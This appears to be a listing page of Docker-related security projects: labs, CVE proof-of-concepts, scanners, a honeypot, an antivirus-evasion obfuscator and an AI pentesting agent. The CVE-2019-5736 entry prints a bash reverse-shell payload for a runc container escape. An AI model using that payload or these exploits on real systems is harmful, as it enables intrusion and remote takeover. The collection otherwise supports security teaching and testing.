Labtainers

Labtainers: A Docker-based cyber lab framework Labtainers include more than 50 cyber lab exercises and tools to build your own. Import a single VM appliance or install on a Linux system and your students are done with provisioning and administrative setup, for these and future lab exercises...

cve-2017-5941-poc-docker-lab

CVE-2017-5941 — PoC de deserialización no confiable en node-serialize RCE ⚠️ Solo para laboratorio / autoevaluación. Úsalo únicamente en sistemas que poseas o estés autorizado a probar. Este repositorio proporciona: Un script PoC mínimo para reproducir CVE-2017-5941 contra una aplicación Node.js...

pumba

Chaos testing tool for Docker, containerd, and Podman Quick Start · User Guide · Network Chaos · Deployment · Contributing Pumba is a chaos testing and network emulation tool for Docker, containerd, and Podman containers. Inspired by Netflix Chaos Monkey, Pumba brings chaos engineering to the...

lempo

Lempo: Exposición LDAP en Portainer CVE-2018-19466 | Mauro Eldritch AKA plaguedoktor root@kitploit: ./lempo.rb TARGETIP TARGETUSER TARGETPASSWORD Este exploit es un complemento de mi charla Hacking Docker with PAZUZU. Presentaciones | Fecha| Conferencia| Enlace al video| Enlace a diapositivas...

dockerized-android

Dockerized Android Dockerized Android es un marco basado en contenedores que permite ejecutar un Emulador de Android dentro de Docker y controlarlo a través de un navegador. Este proyecto se ha desarrollado con el fin de proporcionar un punto de partida para integrar componentes de seguridad móvi...

dockerized-android

Dockerized Android Dockerized Android is a container-based framework that allows to execute and Android Emulator inside Docker and control it through a browser. This project has been developed in order to provide a starting point for integrating mobile security components into Cyber Ranges but it...

wsvuls

WSVuls Website vulnerability scanner detect issues outdated server software and insecure HTTP headers...

dd

dd Ejecuta contenedores de Linux en macOS — sin VM. ¿Qué es dd? dd ejecuta contenedores de Linux de forma nativa en macOS con Apple Silicon sin una máquina virtual. No hay núcleo de Linux ni hipervisor subyacente: un JIT traduce el código del contenedor y procesa sus llamadas al sistema de Linux ...

cve-2022-22965

Spring4Shell - CVE-2022-22965 Construcción vamos a clonar el repositorio, construir y ejecutar el contenedor root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22965.git $ cd cve-2022-22965 $ docker build . -t spring4shell-poc $ docker run -p 8080:8080 --name spring4shell-poc...

Spring4Shell-POC

Aplicación PoC de Spring4Shell Esta es una aplicación dockerizada que es vulnerable a la vulnerabilidad Spring4Shell CVE-2022-22965. Se proporciona el código fuente Java completo para el war y es modificable, el war se reconstruirá cada vez que se construya la imagen docker. El WAR construido ser...

grype

Grype A vulnerability scanner for container images and filesystems...

kali-docker

Docker oficial de Kali Linux Esta imagen Docker de Kali Linux proporciona una instalación base mínima de la última versión de la Distribución Rolling de Kali Linux. No hay herramientas añadidas a esta imagen, por lo que tendrás que instalarlas tú mismo. Para más detalles sobre los metapaquetes de...

avcleaner

avcleaner C/C++ source obfuscator for antivirus bypass Blog posts The implementation is rather complex and this domain in software development is rarely documented in layman's terms. This is why there are blog posts which detail every design choice and go over the quirks of working with the LLVM...

cve-2018-9207

CVE-2018-9207 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2018-9207 Autor de la imagen: https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9207...

webanalyze

webanalyze This is a port of Wappalyzer in Go. This tool is designed to be performant and allows to test huge lists of hosts. !NOTE Because Wappalyzer removed the public access to their app definitions, webanalyze currently loads definitions from enthec. Installation and usage Precompiled release...

conpot

Conpot About Conpot is an ICS honeypot with the goal to collect intelligence about the motives and methods of adversaries targeting industrial control systems. Documentation The documentation can be found here. If you are just checking out conpot, we suggest that you go for quick install. If you...

sgxray

SGXRay: Automating Vulnerability Detection for SGX Apps Intel SGX protects isolated application logic and sensitive data inside an enclave with hardware-based memory encryption. To use such hardware-based security mechanism requires a strict programming model on memory usage， with complex APIs in...

festin

FestIN the powered S3 bucket finder and content discover What is FestIn Why Festin Install Using Python Using Docker Full options Usage Configure search domains Concurrency HTTP Crawling configuration Manage results Proxy usage DNS Options Full Text Support Running as a service or watching mode...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

pentagi

PentAGI P ruebas de penetración A rtificial G eneral I ntelligence ¡Únete a la Comunidad! Conéctate con investigadores de seguridad, entusiastas de la IA y hackers éticos colegas. Obtén apoyo, comparte ideas y mantente al día con los últimos desarrollos de PentAGI. ⠀ Tabla de Contenidos Descripci...